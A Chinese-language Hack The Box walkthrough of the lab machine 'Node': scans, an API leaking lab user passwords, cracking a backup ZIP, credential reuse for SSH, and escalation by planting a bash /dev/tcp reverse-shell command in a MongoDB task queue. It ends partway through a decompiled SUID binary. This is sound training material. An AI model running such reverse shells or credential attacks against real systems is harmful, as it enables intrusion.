{"id":107,"date":"2024-11-13T09:17:22","date_gmt":"2024-11-13T01:17:22","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=107"},"modified":"2024-11-13T09:51:12","modified_gmt":"2024-11-13T01:51:12","slug":"htb_machine_node","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/htb_machine_node\/","title":{"rendered":"HTB\u9776\u673a Node \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.58<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fhacker)-[\/home\/\u2026\/Documents\/pentest_notes\/node\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.58\nPING 10.10.10.58 (10.10.10.58) 56(84) bytes of data.\n64 bytes from 10.10.10.58: icmp_seq=1 ttl=63 time=243 ms\n64 bytes from 10.10.10.58: icmp_seq=2 ttl=63 time=242 ms\n64 bytes from 10.10.10.58: icmp_seq=3 ttl=63 time=242 ms\n64 bytes from 10.10.10.58: icmp_seq=4 ttl=63 time=242 ms\n\n--- 10.10.10.58 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3007ms\nrtt min\/avg\/max\/mdev = 241.739\/242.107\/242.543\/0.317 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7f51\u7edc\u8fde\u63a5\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Jun 23 10:24:55 2024 as: nmap -sA -p- --min-rate 2000 -oN .\/ack_result.txt 10.10.10.58\nNmap scan report for 10.10.10.58 (10.10.10.58)\nHost is up (0.25s latency).\nNot shown: 65533 filtered tcp ports (no-response)\nPORT     STATE      SERVICE\n22\/tcp   unfiltered ssh\n3000\/tcp unfiltered ppp\n\n# Nmap done at Sun Jun 23 10:26:01 2024 -- 1 IP address (1 host up) scanned in 66.57 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>2<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Jun 23 10:28:27 2024 as: nmap -sS -sV -A -p 22,3000 -oN .\/tcp_result.txt 10.10.10.58\nNmap scan report for 10.10.10.58 (10.10.10.58)\nHost is up (0.25s latency).\n\nPORT     STATE SERVICE            VERSION\n22\/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)\n|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)\n|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)\n3000\/tcp open  hadoop-tasktracker Apache Hadoop\n| hadoop-datanode-info: \n|_  Logs: \/login\n| hadoop-tasktracker-info: \n|_  Logs: \/login\n|_http-title: MyPlace\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|specialized|phone|storage-misc\nRunning (JUST GUESSING): Linux 3.X|4.X|5.X (90%), Crestron 2-Series (86%), Google Android 4.X (86%), HP embedded (85%)\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4 cpe:\/o:crestron:2_series cpe:\/o:google:android:4.0 cpe:\/o:linux:linux_kernel:5.0 cpe:\/h:hp:p2000_g3\nAggressive OS guesses: Linux 3.10 - 4.11 (90%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.18 (90%), Linux 3.2 - 4.9 (90%), Linux 3.8 - 3.11 (90%), Linux 4.2 (90%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 22\/tcp)\nHOP RTT       ADDRESS\n1   289.07 ms 10.10.14.1 (10.10.14.1)\n2   241.85 ms 10.10.10.58 (10.10.10.58)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Sun Jun 23 10:29:06 2024 -- 1 IP address (1 host up) scanned in 38.70 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Sun Jun 23 10:29:41 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_result.txt 10.10.10.58\nNmap scan report for 10.10.10.58 (10.10.10.58)\nHost is up (0.29s latency).\nAll 65535 scanned ports on 10.10.10.58 (10.10.10.58) are in ignored states.\nNot shown: 65535 open|filtered udp ports (no-response)\n\n# Nmap done at Sun Jun 23 10:30:49 2024 -- 1 IP address (1 host up) scanned in 68.33 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5185\u6838\u7248\u672c\u5927\u81f4\u4e3a<code>Linux 3.10 - 4.11<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fhacker)-[\/home\/megumin\/Documents\/pentest_notes\/node]\n\u2514\u2500# nc -nv 10.10.10.58 22                                        \n(UNKNOWN) [10.10.10.58] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff083000\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/node.htb\/<\/code>\uff08\u5c1d\u8bd5\u52a0\u4e0a\u57df\u540d\uff09<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719185894609-8890729a-cdda-415d-8932-b0626d205a2e.png\" alt=\"\" \/><\/p>\n<p>\u5728\u9875\u9762\u672b\u5c3e\u53d1\u73b0<code>3<\/code>\u4e2a\u4eba\u540d\uff1a<code>tom<\/code>\u3001<code>mark<\/code>\u3001<code>rastating<\/code>\u3002<\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Mon Jun 24 07:45:11 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/node.htb:3000\/ -x 400,403,404 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap -t 60\n\n301   171B   http:\/\/node.htb:3000\/assets    -&gt; REDIRECTS TO: \/assets\/\n301   173B   http:\/\/node.htb:3000\/uploads    -&gt; REDIRECTS TO: \/uploads\/<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u5173\u952e\u4fe1\u606f\u3002<\/p>\n<p>\u5c1d\u8bd5\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u5728\u9875\u9762\u4e2d\u53d1\u73b0\u5f15\u7528\u4e86\u5982\u4e0b<code>JavaScript<\/code>\uff1a<\/p>\n<pre><code class=\"language-html\">  &lt;script type=\"text\/javascript\" src=\"assets\/js\/app\/app.js\"&gt;&lt;\/script&gt;\n    &lt;script type=\"text\/javascript\" src=\"assets\/js\/app\/controllers\/home.js\"&gt;&lt;\/script&gt;\n    &lt;script type=\"text\/javascript\" src=\"assets\/js\/app\/controllers\/login.js\"&gt;&lt;\/script&gt;\n    &lt;script type=\"text\/javascript\" src=\"assets\/js\/app\/controllers\/admin.js\"&gt;&lt;\/script&gt;\n    &lt;script type=\"text\/javascript\" src=\"assets\/js\/app\/controllers\/profile.js\"&gt;&lt;\/script&gt;<\/code><\/pre>\n<p>\u4f9d\u6b21\u70b9\u51fb\u67e5\u770b\u5185\u5bb9\uff0c\u5728<code>\/profile.js<\/code>\u4e2d\u6316\u6398\u51fa\u4e86\u654f\u611f<code>API<\/code>\u7aef\u70b9<code>\/api\/users<\/code>\uff1a<\/p>\n<pre><code class=\"language-javascript\">var controllers = angular.module('controllers');\n\ncontrollers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {\n  $http.get('\/api\/users\/' + $routeParams.username)\n    .then(function (res) {\n      $scope.user = res.data;\n    }, function (res) {\n      $scope.hasError = true;\n\n      if (res.status == 404) {\n        $scope.errorMessage = 'This user does not exist';\n      }\n      else {\n        $scope.errorMessage = 'An unexpected error occurred';\n      }\n    });\n});<\/code><\/pre>\n<p>\u76f4\u63a5\u8bbf\u95ee\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719187878848-d85eb33c-3f94-4ac5-b1aa-6df943d3e86e.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u53d1\u73b0\u4e86\u7528\u6237\u8d26\u5bc6\uff01<\/strong><\/p>\n<table>\n<thead>\n<tr>\n<th style=\"text-align: center;\">ID<\/th>\n<th style=\"text-align: center;\">\u7528\u6237\u540d<\/th>\n<th style=\"text-align: center;\">\u5bc6\u7801<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td style=\"text-align: center;\">1<\/td>\n<td style=\"text-align: center;\">myP14ceAdm1nAcc0uNT<\/td>\n<td style=\"text-align: center;\">manchester<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">2<\/td>\n<td style=\"text-align: center;\">tom<\/td>\n<td style=\"text-align: center;\">spongebob<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">3<\/td>\n<td style=\"text-align: center;\">mark<\/td>\n<td style=\"text-align: center;\">snowflake<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: center;\">4<\/td>\n<td style=\"text-align: center;\">rastating<\/td>\n<td style=\"text-align: center;\">\uff08\u672a\u77e5\uff09<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5c1d\u8bd5\u767b\u5f55\u7ba1\u7406\u5458\u7528\u6237<code>myP14ceAdm1nAcc0uNT<\/code>\uff0c\u6210\u529f\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719188349372-56fb54cf-7084-4b87-a62e-0ce138054e39.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<p>\u767b\u5f55\u540e\u53f0\u540e\uff0c\u70b9\u51fb<code>Download Backup<\/code>\u6309\u94ae\uff0c\u4f1a\u8df3\u51fa\u4e0b\u8f7d\u5185\u5bb9\uff0c\u4f46\u662f\u603b\u662f\u4e0b\u8f7d\u5931\u8d25\u3002\u5c1d\u8bd5\u4f7f\u7528<code>BurpSuite<\/code>\u62e6\u622a\u6d41\u91cf\u5e76\u91cd\u653e\u8bf7\u6c42\uff0c\u53d1\u73b0\u8fd4\u56de\u7684\u5185\u5bb9\u662f\u4e00\u6bb5\u8d85\u957f\u7684<code>Base64<\/code>\u6587\u672c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719188592660-c827a4e9-d811-4a48-be1e-622b882c3b44.png\" alt=\"\" \/><\/p>\n<p>\u5c06\u5176\u4fdd\u5b58\u4e3a\u6587\u4ef6\uff0c\u968f\u540e\u4f7f\u7528\u5982\u4e0b<code>Linux<\/code>\u547d\u4ee4\u89e3\u7801\u4fdd\u5b58\uff1a<\/p>\n<pre><code class=\"language-bash\">sed -i \"1,9d\" .\/down_base64.txt\ncat .\/down_base64.txt | base64 -d &gt; .\/downfile<\/code><\/pre>\n<p><del>\uff08\u771f\u662f\u8d39\u4e86\u82b1\u706b\u5927\u4eba\u597d\u5927\u7684\u529f\u592b\u5440\uff0c\u4e3a\u4e86\u62ff\u5230\u5b8c\u6574\u7684base64\u6570\u636e\u5305\uff0c\u82b1\u706b\u5927\u4eba\u6574\u6574\u6309\u4e862\u4e2a\u5c0f\u65f6\u7684\u4e0b\u8f7d\u548c\u53d1\u5305\u6309\u94ae\u5462\uff0c\u6240\u4ee5\uff0c\u4f5c\u8005\u5927\u5927\uff0c\u665a\u4e0a\u4e0d\u8981\u7761\u592a\u6b7b\u54e6~ So\uff0cso\uff0c\u54c8\u5409\u6ca1\u6cb9\uff0cZafkiel\uff01\uff01\uff01\uff09<\/del><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719194854085-ce7e510f-123c-4eb4-9fdf-0dde177a62a6.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>file<\/code>\u547d\u4ee4\u5224\u65ad\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u7c7b\u578b\uff0c\u53d1\u73b0\u4e3a<code>ZIP<\/code>\u538b\u7f29\u5305\uff0c\u5c1d\u8bd5\u89e3\u538b\uff0c\u53d1\u73b0\u9700\u8981\u5bc6\u7801\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719195058288-c4076d97-e38b-4451-a74b-17e51ba78676.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u4e4b\u524d\u53d1\u73b0\u7684\u5bc6\u7801\u89e3\u538b\uff0c\u5931\u8d25\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>john<\/code>\u5de5\u5177\u7206\u7834\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-bash\">zip2john .\/downfile.zip &gt; .\/zip_hash.txt\njohn .\/zip_hash.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719196560422-0f493a88-5e1d-40d6-8553-2d22d92e169f.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u627e\u5230\u53e3\u4ee4\uff1a<\/strong><code>magicword<\/code><strong>\u3002<\/strong><\/p>\n<p>\u76f4\u63a5\u89e3\u538b\uff0c\u5c1d\u8bd5\u67e5\u770b\u7f51\u7ad9\u4e3b\u7a0b\u5e8f<code>app.js<\/code>\uff0c\u53d1\u73b0<code>MongoDB<\/code>\u7684\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-javascript\">const express     = require('express');\nconst session     = require('express-session');\nconst bodyParser  = require('body-parser');\nconst crypto      = require('crypto');\nconst MongoClient = require('mongodb').MongoClient;\nconst ObjectID    = require('mongodb').ObjectID;\nconst path        = require(\"path\");\nconst spawn        = require('child_process').spawn;\nconst app         = express();\nconst url         = 'mongodb:\/\/mark:5AYRft73VtFpc84k@localhost:27017\/myplace?authMechanism=DEFAULT&amp;authSource=myplace';\nconst backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5c06\u5176\u4f5c\u4e3a<code>SSH<\/code>\u7528\u6237\u7684\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li><strong>\u7528\u6237\u540d\uff1a<\/strong><code>mark<\/code><\/li>\n<li><strong>\u5bc6\u7801\uff1a<\/strong><code>5AYRft73VtFpc84k<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719197059514-4587e095-bb4f-4642-b675-bbc19aff8f4f.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198665329-2e61502c-0f7f-4e7d-a408-41db75364623.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198670378-809c373a-2d86-47e2-8608-59a3ccc91fec.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198678306-348f7822-8773-4bea-8bf7-2ceed6e25a10.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198687591-2f41eb2b-d6a6-4c62-8645-e84a9faf93d0.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198695407-e51c56bc-286d-4d3f-9dca-2fa8f037de83.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198701569-978a9ecd-1635-4848-b660-1ee32e02d25b.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198707537-f3c2d372-4829-4b53-b9b0-e224822ae4e2.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198713475-ef552fa7-b295-4633-97a5-1e052a24160b.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719198720389-fe2fecf2-0d44-4c74-a175-dc5be3fa1804.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0<code>tom<\/code>\u7528\u6237\u9664\u4e86\u4f7f\u7528<code>Node.js<\/code>\u8fd0\u884c\u4e86\u53ef\u7591\u811a\u672c<code>\/var\/scheduler\/app.js<\/code>\uff0c\u67e5\u770b\u811a\u672c\u4e4b\u540e\u53d1\u73b0\u5176\u529f\u80fd\u662f\u5faa\u73af\u5730\u5c06\u8981\u6267\u884c\u7684\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u4ece<code>MongoDB<\/code>\u4e2d\u53d6\u51fa\uff0c\u968f\u540e\u4f7f\u7528<code>child_process<\/code>\u6a21\u5757\u7684<code>exec<\/code>\u51fd\u6570\u6267\u884c\u3002\u51b3\u5b9a\u5411<code>MongoDB<\/code>\u4e2d\u7684\u5bf9\u5e94\u8868\u5185\u5199\u5165\u7cfb\u7edf\u547d\u4ee4\u5b57\u7b26\u4e32\u4ee5\u8fdb\u884c\u63d0\u6743\u3002\u540c\u65f6\u8fd8\u53d1\u73b0<code>\/usr\/local\/bin\/backup<\/code>\u4e3a<code>SUID<\/code>\u7a0b\u5e8f\uff0c\u4f46\u5f53\u524d\u4e3a<code>mark<\/code>\u7528\u6237\uff0c\u4e0d\u5728<code>admin<\/code>\u7528\u6237\u7ec4\u4e2d\uff0c\u65e0\u6cd5\u5229\u7528\u3002<\/p>\n<h2>Node.JS\u811a\u672c\u63d0\u6743<\/h2>\n<p><code>\/var\/scheduler\/app.js<\/code>\u811a\u672c\u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-javascript\">const exec        = require('child_process').exec;\nconst MongoClient = require('mongodb').MongoClient;\nconst ObjectID    = require('mongodb').ObjectID;\nconst url         = 'mongodb:\/\/mark:5AYRft73VtFpc84k@localhost:27017\/scheduler?authMechanism=DEFAULT&amp;authSource=scheduler';\n\nMongoClient.connect(url, function(error, db) {\n  if (error || !db) {\n    console.log('[!] Failed to connect to mongodb');\n    return;\n  }\n\n  setInterval(function () {\n    db.collection('tasks').find().toArray(function (error, docs) {\n      if (!error &amp;&amp; docs) {\n        docs.forEach(function (doc) {\n          if (doc) {\n            console.log('Executing task ' + doc._id + '...');\n            exec(doc.cmd);\n            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });\n          }\n        });\n      }\n      else if (error) {\n        console.log('Something went wrong: ' + error);\n      }\n    });\n  }, 30000);\n\n});<\/code><\/pre>\n<p>\u53d1\u73b0\u7a0b\u5e8f\u6bcf\u9694<code>30<\/code>\u79d2\u4f1a\u4ece<code>scheduler.tasks<\/code>\u96c6\u5408\u5185\u53d6\u51fa<code>_id<\/code>\u548c<code>cmd<\/code>\u4e24\u4e2a\u57df\u7684\u8bb0\u5f55\uff0c\u968f\u540e\u4f7f\u7528<code>exec()<\/code>\u51fd\u6570\u6267\u884c<code>cmd<\/code>\u7684\u5185\u5bb9\uff0c\u968f\u540e\u4f7f\u7528<code>_id<\/code>\u4e2d\u7684\u5185\u5bb9\u5220\u9664<code>MongoDB<\/code>\u4e2d\u76f8\u5bf9\u5e94\u7684\u8bb0\u5f55\u3002<\/p>\n<p>\u76f4\u63a5\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff0c\u5411<code>MongoDB<\/code>\u6dfb\u52a0\u540e\u95e8\u8ba1\u5212\u4efb\u52a1\uff0c\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">mongo \"mongodb:\/\/mark:5AYRft73VtFpc84k@localhost:27017\/scheduler\"\ndb.tasks.insertOne({_id: ObjectId(), cmd: \"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.2\/443 0&gt;&amp;1'\"})<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719276747622-4478f357-7d46-46d0-8880-155d8853624b.png\" alt=\"\" \/><\/p>\n<p><strong>\u53cd\u5f39Shell\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>SUID\u7a0b\u5e8f\u63d0\u6743<\/h2>\n<p>\u8fdb\u5165<code>tom<\/code>\u7528\u6237\u540e\uff0c\u4f7f\u7528<code>id<\/code>\u547d\u4ee4\u67e5\u770b\u7528\u6237\u4fe1\u606f\uff0c\u53d1\u73b0\u5f53\u524d\u7528\u6237\u5728<code>admin<\/code>\u7ec4\u4e2d\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1719277840713-861600f3-145f-4f38-a990-9dbb46e52007.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u4f7f\u7528<code>\/usr\/local\/bin\/backup<\/code>\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<p>\u5c1d\u8bd5\u5bf9\u76ee\u6807\u7a0b\u5e8f\u8fdb\u884c\u53cd\u6c47\u7f16\u5206\u6790\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __uid_t v3; \/\/ eax\n  __pid_t v4; \/\/ esi\n  time_t v5; \/\/ ebx\n  clock_t v6; \/\/ eax\n  unsigned int v7; \/\/ eax\n  char command[1500]; \/\/ [esp+1h] [ebp-10B1h] BYREF\n  char name[1000]; \/\/ [esp+5DDh] [ebp-AD5h] BYREF\n  char v11[500]; \/\/ [esp+9C5h] [ebp-6EDh] BYREF\n  char s[1000]; \/\/ [esp+BB9h] [ebp-4F9h] BYREF\n  char filename[100]; \/\/ [esp+FA1h] [ebp-111h] BYREF\n  char v14[6]; \/\/ [esp+1005h] [ebp-ADh] BYREF\n  char v15[3]; \/\/ [esp+100Bh] [ebp-A7h] BYREF\n  _BYTE v16[6]; \/\/ [esp+100Eh] [ebp-A4h] BYREF\n  char v17[6]; \/\/ [esp+1014h] [ebp-9Eh] BYREF\n  char v18[6]; \/\/ [esp+101Ah] [ebp-98h] BYREF\n  char src[2]; \/\/ [esp+1020h] [ebp-92h] BYREF\n  char dest[100]; \/\/ [esp+1022h] [ebp-90h] BYREF\n  int v21; \/\/ [esp+1086h] [ebp-2Ch]\n  FILE *stream; \/\/ [esp+108Ah] [ebp-28h]\n  int i; \/\/ [esp+108Eh] [ebp-24h]\n  int v24; \/\/ [esp+1092h] [ebp-20h]\n  int v25; \/\/ [esp+1096h] [ebp-1Ch]\n  int *p_argc; \/\/ [esp+10A2h] [ebp-10h]\n\n  p_argc = &amp;argc;\n  v3 = geteuid();\n  setuid(v3);\n  v25 = 0;\n  v24 = 0;\n  if ( argc &lt;= 3 )\n    exit(1);\n  if ( strcmp(argv[1], \"-q\") )\n  {\n    v24 = 1;\n    puts(\"nnn             ____________________________________________________\");\n    puts(\"            \/                                                    \\\");\n    puts(\"           |    _____________________________________________     |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |             Secure Backup v1.0              |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |                                             |    |\");\n    puts(\"           |   |_____________________________________________|    |\");\n    puts(\"           |                                                      |\");\n    puts(\"            \\_____________________________________________________\/\");\n    puts(\"                   \\_______________________________________\/\");\n    puts(\"                _______________________________________________\");\n    puts(\"             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_\");\n    puts(\"          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_\");\n    puts(\"       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_\");\n    puts(\"    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_\");\n    puts(\" _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_\");\n    puts(\":-----------------------------------------------------------------------------:\");\n    puts(\"`---._.-----------------------------------------------------------------._.---'nn\");\n  }\n  strncpy(dest, argv[2], 0x64u);\n  strcpy(src, \"\/\");\n  strcpy(v14, \"\/e\");\n  strcpy(&amp;v14[3], \"tc\");\n  strcpy(v15, src);\n  *(_WORD *)&amp;v15[strlen(v15)] = 109;\n  strcpy(v16, \"yp\");\n  strcpy(&amp;v16[3], \"la\");\n  strcpy(v17, \"ce\");\n  strcpy(&amp;v17[3], src);\n  *(_WORD *)&amp;v17[strlen(&amp;v17[3]) + 3] = 107;\n  strcpy(v18, \"ey\");\n  strcpy(&amp;v18[3], \"s\");\n  strcpy(filename, v14);\n  for ( i = 1; i &lt;= 8; ++i )\n    strcat(filename, &amp;v14[3 * i]);\n  stream = fopen(filename, \"r\");\n  if ( !stream )\n  {\n    if ( v24 == 1 )\n      displayWarning(\"Could not open filenn\");\n    exit(1);\n  }\n  while ( fgets(s, 1000, stream) )\n  {\n    s[strcspn(s, \"n\")] = 0;\n    if ( !strcmp(dest, s) )\n    {\n      v25 = 1;\n      if ( v24 == 1 )\n        displaySuccess(\"Validated access token\");\n    }\n  }\n  if ( v25 != 1 )\n  {\n    if ( v24 == 1 )\n      displayWarning(\"Ah-ah-ah! You didn't say the magic word!nn\");\n    exit(1);\n  }\n  if ( strstr(argv[3], \"..\") )\n  {\n    displaySuccess(\"Finished! Encoded backup is below:n\");\n    puts(\n      